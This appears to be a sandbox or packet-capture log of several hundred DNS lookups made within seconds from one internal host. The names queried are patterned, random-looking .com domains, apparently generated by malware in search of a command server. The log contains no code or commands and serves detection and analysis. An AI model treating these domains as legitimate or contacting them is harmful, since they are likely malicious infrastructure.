Nov 11, 2024 18:51:25.964308977 CET	192.168.2.6	1.1.1.1	0x276	Standard query (0)	lyrynux.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.964700937 CET	192.168.2.6	1.1.1.1	0x41d7	Standard query (0)	lykywex.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.964988947 CET	192.168.2.6	1.1.1.1	0x24ad	Standard query (0)	pupyguq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.965270042 CET	192.168.2.6	1.1.1.1	0x6e4c	Standard query (0)	vowybyc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.965476990 CET	192.168.2.6	1.1.1.1	0xb6b5	Standard query (0)	vojykyf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.983352900 CET	192.168.2.6	1.1.1.1	0xce12	Standard query (0)	gadyhoh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.985322952 CET	192.168.2.6	1.1.1.1	0x4280	Standard query (0)	lymyved.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.985519886 CET	192.168.2.6	1.1.1.1	0xda0a	Standard query (0)	gacypiw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.985685110 CET	192.168.2.6	1.1.1.1	0x6f48	Standard query (0)	qexytil.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.985822916 CET	192.168.2.6	1.1.1.1	0xb1f1	Standard query (0)	puzyxip.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.992259026 CET	192.168.2.6	1.1.1.1	0x51c	Standard query (0)	lysymor.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.994580984 CET	192.168.2.6	1.1.1.1	0x6dfe	Standard query (0)	vofyjom.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:27.604384899 CET	192.168.2.6	1.1.1.1	0xa81d	Standard query (0)	gaqycos.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:27.653933048 CET	192.168.2.6	1.1.1.1	0xc962	Standard query (0)	pumypog.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:27.731215000 CET	192.168.2.6	1.1.1.1	0x93c1	Standard query (0)	qexyryl.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:27.922898054 CET	192.168.2.6	1.1.1.1	0xf038	Standard query (0)	galyzus.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:28.414753914 CET	192.168.2.6	1.1.1.1	0x6948	Standard query (0)	lyxylux.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:28.572633982 CET	192.168.2.6	1.1.1.1	0x4271	Standard query (0)	pupybul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:28.651174068 CET	192.168.2.6	1.1.1.1	0x24	Standard query (0)	qeqysag.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:28.802656889 CET	192.168.2.6	1.1.1.1	0xdc23	Standard query (0)	lymysan.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:28.891529083 CET	192.168.2.6	1.1.1.1	0x39c8	Standard query (0)	qexylup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:28.993545055 CET	192.168.2.6	1.1.1.1	0x78ec	Standard query (0)	vofymik.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:28.997504950 CET	192.168.2.6	1.1.1.1	0xdf42	Standard query (0)	pufymoq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:29.064702988 CET	192.168.2.6	1.1.1.1	0x848e	Standard query (0)	vowydef.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:29.242857933 CET	192.168.2.6	1.1.1.1	0x549b	Standard query (0)	gacyzuz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:29.345345020 CET	192.168.2.6	1.1.1.1	0x20df	Standard query (0)	vonyzuf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:29.702817917 CET	192.168.2.6	1.1.1.1	0x9313	Standard query (0)	qegyqaq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:30.384393930 CET	192.168.2.6	1.1.1.1	0x70f4	Standard query (0)	lygymoj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:30.414068937 CET	192.168.2.6	1.1.1.1	0x523f	Standard query (0)	qekyqop.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:30.604048967 CET	192.168.2.6	1.1.1.1	0xb6ef	Standard query (0)	purycap.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:30.635262012 CET	192.168.2.6	1.1.1.1	0xe201	Standard query (0)	lyryfyd.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:30.786735058 CET	192.168.2.6	1.1.1.1	0xbb89	Standard query (0)	lysyfyj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:30.891264915 CET	192.168.2.6	1.1.1.1	0xaec8	Standard query (0)	lygygin.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:31.045201063 CET	192.168.2.6	1.1.1.1	0xfff5	Standard query (0)	vowycac.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:31.123116016 CET	192.168.2.6	1.1.1.1	0x6e26	Standard query (0)	pufygug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:31.393201113 CET	192.168.2.6	1.1.1.1	0xe9aa	Standard query (0)	vofygum.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:31.463169098 CET	192.168.2.6	1.1.1.1	0xa5d2	Standard query (0)	puzywel.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:31.495208979 CET	192.168.2.6	1.1.1.1	0x3d79	Standard query (0)	volyqat.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:31.584768057 CET	192.168.2.6	1.1.1.1	0xb006	Standard query (0)	lyxywer.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:31.700371027 CET	192.168.2.6	1.1.1.1	0x90f7	Standard query (0)	purydyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:31.748594046 CET	192.168.2.6	1.1.1.1	0x51c2	Standard query (0)	pumyxiv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:31.749836922 CET	192.168.2.6	1.1.1.1	0xa336	Standard query (0)	qedyfyq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:31.926378012 CET	192.168.2.6	1.1.1.1	0xffdd	Standard query (0)	gadyfuh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:32.043087959 CET	192.168.2.6	1.1.1.1	0xbe6a	Standard query (0)	qeqyxov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:32.092561007 CET	192.168.2.6	1.1.1.1	0xd8a5	Standard query (0)	lyryvex.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:32.121015072 CET	192.168.2.6	1.1.1.1	0x8fde	Standard query (0)	lysynur.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:32.191405058 CET	192.168.2.6	1.1.1.1	0x8181	Standard query (0)	galykes.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:32.215209961 CET	192.168.2.6	1.1.1.1	0x3dd8	Standard query (0)	ganypih.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:32.274835110 CET	192.168.2.6	1.1.1.1	0x5af0	Standard query (0)	qebytiq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:32.581823111 CET	192.168.2.6	1.1.1.1	0x8a93	Standard query (0)	vopybyt.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:32.582339048 CET	192.168.2.6	1.1.1.1	0xa102	Standard query (0)	pujyjav.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:32.850594044 CET	192.168.2.6	1.1.1.1	0xa31f	Standard query (0)	gatyvyz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:32.940380096 CET	192.168.2.6	1.1.1.1	0x6f3c	Standard query (0)	pumydyg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:32.940783024 CET	192.168.2.6	1.1.1.1	0x2226	Standard query (0)	gacypiw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:32.975958109 CET	192.168.2.6	1.1.1.1	0x3122	Standard query (0)	vofyjom.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.432344913 CET	192.168.2.6	1.1.1.1	0xcb5a	Standard query (0)	lyvytuj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.434179068 CET	192.168.2.6	1.1.1.1	0x75d0	Standard query (0)	vojyjof.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.475600958 CET	192.168.2.6	1.1.1.1	0xf141	Standard query (0)	qetyvep.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.480500937 CET	192.168.2.6	1.1.1.1	0x79e0	Standard query (0)	lysymor.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.481863022 CET	192.168.2.6	1.1.1.1	0x7170	Standard query (0)	galyzus.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.484599113 CET	192.168.2.6	1.1.1.1	0x2bb2	Standard query (0)	gahyhob.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.485570908 CET	192.168.2.6	1.1.1.1	0x3538	Standard query (0)	lykylud.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.489969969 CET	192.168.2.6	1.1.1.1	0x752b	Standard query (0)	puzyxip.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.534439087 CET	192.168.2.6	1.1.1.1	0xca65	Standard query (0)	gaqyvys.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.538279057 CET	192.168.2.6	1.1.1.1	0x1771	Standard query (0)	pujylyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.538814068 CET	192.168.2.6	1.1.1.1	0x5c0a	Standard query (0)	puvytuq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.539391994 CET	192.168.2.6	1.1.1.1	0x4083	Standard query (0)	qeqyfug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.552567005 CET	192.168.2.6	1.1.1.1	0x3f5d	Standard query (0)	lyrygid.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.648226976 CET	192.168.2.6	1.1.1.1	0x9dd1	Standard query (0)	lykyjad.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.650856018 CET	192.168.2.6	1.1.1.1	0x61cd	Standard query (0)	puvyxil.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.707451105 CET	192.168.2.6	1.1.1.1	0x57d2	Standard query (0)	qekyluv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.710880995 CET	192.168.2.6	1.1.1.1	0x9242	Standard query (0)	qeqyvev.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.774678946 CET	192.168.2.6	1.1.1.1	0xed6a	Standard query (0)	volyzic.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.775126934 CET	192.168.2.6	1.1.1.1	0x12ad	Standard query (0)	puvypoq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.828207970 CET	192.168.2.6	1.1.1.1	0xc76	Standard query (0)	lyxyxox.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.839971066 CET	192.168.2.6	1.1.1.1	0x6699	Standard query (0)	qexyxop.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.877986908 CET	192.168.2.6	1.1.1.1	0xfeb8	Standard query (0)	vojykyf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.901956081 CET	192.168.2.6	1.1.1.1	0x7a70	Standard query (0)	lyrynux.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:33.943068027 CET	192.168.2.6	1.1.1.1	0xea61	Standard query (0)	gatyniz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.038815022 CET	192.168.2.6	1.1.1.1	0x1c6d	Standard query (0)	vocypok.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.040832043 CET	192.168.2.6	1.1.1.1	0x6b0c	Standard query (0)	lykywex.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.155720949 CET	192.168.2.6	1.1.1.1	0xd123	Standard query (0)	gadyqaw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.161046982 CET	192.168.2.6	1.1.1.1	0x222a	Standard query (0)	lymyved.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.280922890 CET	192.168.2.6	1.1.1.1	0xbe64	Standard query (0)	ganydeh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.281198978 CET	192.168.2.6	1.1.1.1	0x557c	Standard query (0)	qexytil.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.282016039 CET	192.168.2.6	1.1.1.1	0x6600	Standard query (0)	vowybyc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.343518019 CET	192.168.2.6	1.1.1.1	0xcdb4	Standard query (0)	pupyguq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.344399929 CET	192.168.2.6	1.1.1.1	0xae17	Standard query (0)	gadyhoh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.345057964 CET	192.168.2.6	1.1.1.1	0x5b10	Standard query (0)	qedyqal.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.562999010 CET	192.168.2.6	1.1.1.1	0x614e	Standard query (0)	vonydem.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.868071079 CET	192.168.2.6	1.1.1.1	0x63fb	Standard query (0)	www.gahyqah.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.885309935 CET	192.168.2.6	1.1.1.1	0xc43c	Standard query (0)	purydel.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.887861967 CET	192.168.2.6	1.1.1.1	0x11a0	Standard query (0)	lygymod.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.888211966 CET	192.168.2.6	1.1.1.1	0x3e5d	Standard query (0)	gacyzuh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.888828039 CET	192.168.2.6	1.1.1.1	0xc04d	Standard query (0)	vowydet.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.891716957 CET	192.168.2.6	1.1.1.1	0x844c	Standard query (0)	qexyluq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.893820047 CET	192.168.2.6	1.1.1.1	0xbb8d	Standard query (0)	gaqydaz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.894042969 CET	192.168.2.6	1.1.1.1	0x3a62	Standard query (0)	lyxylyj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.894665003 CET	192.168.2.6	1.1.1.1	0x71b7	Standard query (0)	pujywep.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.894685984 CET	192.168.2.6	1.1.1.1	0xcb1	Standard query (0)	pufymiv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.895222902 CET	192.168.2.6	1.1.1.1	0x409c	Standard query (0)	qetyfyl.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.895507097 CET	192.168.2.6	1.1.1.1	0x48f6	Standard query (0)	vojyqac.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.896193981 CET	192.168.2.6	1.1.1.1	0xad62	Standard query (0)	vocyzum.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.896756887 CET	192.168.2.6	1.1.1.1	0xd6c6	Standard query (0)	gatyfuw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.896922112 CET	192.168.2.6	1.1.1.1	0xc665	Standard query (0)	qebyxog.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.897583961 CET	192.168.2.6	1.1.1.1	0xed49	Standard query (0)	qegyqov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.897785902 CET	192.168.2.6	1.1.1.1	0xc357	Standard query (0)	lyryfyr.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.898298979 CET	192.168.2.6	1.1.1.1	0xc57f	Standard query (0)	gahyqas.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.898662090 CET	192.168.2.6	1.1.1.1	0x91e4	Standard query (0)	lyryvaj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.898827076 CET	192.168.2.6	1.1.1.1	0xc65e	Standard query (0)	puvyxig.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.899715900 CET	192.168.2.6	1.1.1.1	0xee16	Standard query (0)	lyvyxin.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.903327942 CET	192.168.2.6	1.1.1.1	0xf278	Standard query (0)	lysyfed.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.903650045 CET	192.168.2.6	1.1.1.1	0xd3f6	Standard query (0)	pumyxul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:34.911853075 CET	192.168.2.6	1.1.1.1	0x5680	Standard query (0)	galyqoh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.215666056 CET	192.168.2.6	1.1.1.1	0x8194	Standard query (0)	vonyzuf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.255040884 CET	192.168.2.6	1.1.1.1	0xaf6a	Standard query (0)	lysynun.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.255260944 CET	192.168.2.6	1.1.1.1	0x61b3	Standard query (0)	pupybyg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.255413055 CET	192.168.2.6	1.1.1.1	0xa018	Standard query (0)	lyvytud.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.255559921 CET	192.168.2.6	1.1.1.1	0x854f	Standard query (0)	vofymif.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.255709887 CET	192.168.2.6	1.1.1.1	0x30bc	Standard query (0)	gaqycow.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.255865097 CET	192.168.2.6	1.1.1.1	0x654f	Standard query (0)	lygygux.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.255995035 CET	192.168.2.6	1.1.1.1	0x15e0	Standard query (0)	gatyveh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.256134033 CET	192.168.2.6	1.1.1.1	0x64ad	Standard query (0)	vowycok.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.256274939 CET	192.168.2.6	1.1.1.1	0xfa03	Standard query (0)	vofyguc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.256417036 CET	192.168.2.6	1.1.1.1	0x5bcb	Standard query (0)	pufygup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.256548882 CET	192.168.2.6	1.1.1.1	0x1552	Standard query (0)	qexyreg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.256777048 CET	192.168.2.6	1.1.1.1	0x4c86	Standard query (0)	lyxywen.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.257107019 CET	192.168.2.6	1.1.1.1	0xd86d	Standard query (0)	gadyfys.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.257570982 CET	192.168.2.6	1.1.1.1	0xd431	Standard query (0)	gaqydeb.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.260605097 CET	192.168.2.6	1.1.1.1	0xd5d7	Standard query (0)	lysyfyj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.288191080 CET	192.168.2.6	1.1.1.1	0xcd78	Standard query (0)	qekyqop.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.291335106 CET	192.168.2.6	1.1.1.1	0x4a47	Standard query (0)	qetyveq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.291459084 CET	192.168.2.6	1.1.1.1	0xff66	Standard query (0)	vopybym.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.291595936 CET	192.168.2.6	1.1.1.1	0x6cc6	Standard query (0)	galykew.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.291686058 CET	192.168.2.6	1.1.1.1	0xf754	Standard query (0)	purycaq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.291990042 CET	192.168.2.6	1.1.1.1	0x97d0	Standard query (0)	lymyxir.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.292171955 CET	192.168.2.6	1.1.1.1	0x87cb	Standard query (0)	puzywag.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.292325020 CET	192.168.2.6	1.1.1.1	0x9445	Standard query (0)	qebytuv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.292578936 CET	192.168.2.6	1.1.1.1	0xabc2	Standard query (0)	qedyfyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.292706013 CET	192.168.2.6	1.1.1.1	0xc4ff	Standard query (0)	volykek.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.293225050 CET	192.168.2.6	1.1.1.1	0xe536	Standard query (0)	qedynug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.293478012 CET	192.168.2.6	1.1.1.1	0x4713	Standard query (0)	vocyryf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.293653965 CET	192.168.2.6	1.1.1.1	0x2075	Standard query (0)	ganypis.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.301799059 CET	192.168.2.6	1.1.1.1	0xd3ba	Standard query (0)	vojyjot.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.301966906 CET	192.168.2.6	1.1.1.1	0x31a1	Standard query (0)	gadynub.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.302203894 CET	192.168.2.6	1.1.1.1	0xcda8	Standard query (0)	qeqysap.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.302457094 CET	192.168.2.6	1.1.1.1	0xfc09	Standard query (0)	puvytuv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.302603006 CET	192.168.2.6	1.1.1.1	0x639a	Standard query (0)	pujyjol.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.302651882 CET	192.168.2.6	1.1.1.1	0xd6d9	Standard query (0)	qeqyxil.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.302803040 CET	192.168.2.6	1.1.1.1	0x571f	Standard query (0)	volyqam.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.302858114 CET	192.168.2.6	1.1.1.1	0x2298	Standard query (0)	qegyhip.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.302994013 CET	192.168.2.6	1.1.1.1	0xcceb	Standard query (0)	gacyryb.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.319021940 CET	192.168.2.6	1.1.1.1	0x55b2	Standard query (0)	lymysox.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.319180012 CET	192.168.2.6	1.1.1.1	0x7f7d	Standard query (0)	puzylyq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.319345951 CET	192.168.2.6	1.1.1.1	0x6804	Standard query (0)	vonypic.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.319506884 CET	192.168.2.6	1.1.1.1	0x21d4	Standard query (0)	qekykal.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.319665909 CET	192.168.2.6	1.1.1.1	0x699d	Standard query (0)	lykyjar.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:35.594654083 CET	192.168.2.6	1.1.1.1	0x4546	Standard query (0)	pumypop.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:37.969789028 CET	192.168.2.6	1.1.1.1	0xe990	Standard query (0)	vocykec.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:37.972019911 CET	192.168.2.6	1.1.1.1	0xf615	Standard query (0)	qekyqoq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:37.974755049 CET	192.168.2.6	1.1.1.1	0x2a6f	Standard query (0)	vonyzut.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:37.979624033 CET	192.168.2.6	1.1.1.1	0xe65e	Standard query (0)	lykymij.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:37.985287905 CET	192.168.2.6	1.1.1.1	0x3a4e	Standard query (0)	ganyzuz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:37.987158060 CET	192.168.2.6	1.1.1.1	0xd616	Standard query (0)	pupydev.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:37.987921953 CET	192.168.2.6	1.1.1.1	0xee47	Standard query (0)	lygynyr.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:37.988287926 CET	192.168.2.6	1.1.1.1	0x12c2	Standard query (0)	vopydaf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:37.988682032 CET	192.168.2.6	1.1.1.1	0xf3dc	Standard query (0)	qegynul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:37.989121914 CET	192.168.2.6	1.1.1.1	0x4c5f	Standard query (0)	lyryson.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:37.989191055 CET	192.168.2.6	1.1.1.1	0xf824	Standard query (0)	purypig.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:37.989551067 CET	192.168.2.6	1.1.1.1	0x6dc9	Standard query (0)	gacykas.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:37.990243912 CET	192.168.2.6	1.1.1.1	0xe570	Standard query (0)	vofybet.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:37.990411997 CET	192.168.2.6	1.1.1.1	0x9606	Standard query (0)	gatydab.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:37.990763903 CET	192.168.2.6	1.1.1.1	0x1aa9	Standard query (0)	volyjif.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:37.991035938 CET	192.168.2.6	1.1.1.1	0x607	Standard query (0)	qedyvap.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:37.991497993 CET	192.168.2.6	1.1.1.1	0x5fdd	Standard query (0)	qebylyp.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:37.992016077 CET	192.168.2.6	1.1.1.1	0x4ea1	Standard query (0)	gadyvez.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:37.992156982 CET	192.168.2.6	1.1.1.1	0x9e0f	Standard query (0)	puzyjov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:37.993199110 CET	192.168.2.6	1.1.1.1	0x2607	Standard query (0)	pujymiq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:37.993808985 CET	192.168.2.6	1.1.1.1	0xaaf	Standard query (0)	lyxyjod.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:37.993999958 CET	192.168.2.6	1.1.1.1	0xc8bb	Standard query (0)	vowyzuf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:37.994533062 CET	192.168.2.6	1.1.1.1	0x5b6d	Standard query (0)	gadydow.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:37.994709015 CET	192.168.2.6	1.1.1.1	0x6923	Standard query (0)	qeqytuq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:37.995237112 CET	192.168.2.6	1.1.1.1	0x61f	Standard query (0)	lyvylyx.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:37.995330095 CET	192.168.2.6	1.1.1.1	0xc26b	Standard query (0)	pumytyq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:37.999603033 CET	192.168.2.6	1.1.1.1	0x75c3	Standard query (0)	pufybyl.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:37.999867916 CET	192.168.2.6	1.1.1.1	0x2fce	Standard query (0)	lymytuj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.000200033 CET	192.168.2.6	1.1.1.1	0xbd3f	Standard query (0)	gaqypuh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.002039909 CET	192.168.2.6	1.1.1.1	0xb647	Standard query (0)	qexykav.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.003237963 CET	192.168.2.6	1.1.1.1	0xb138	Standard query (0)	gahynuw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.007708073 CET	192.168.2.6	1.1.1.1	0x434b	Standard query (0)	puzymup.com	A (IP address)	IN (0x0001)	false
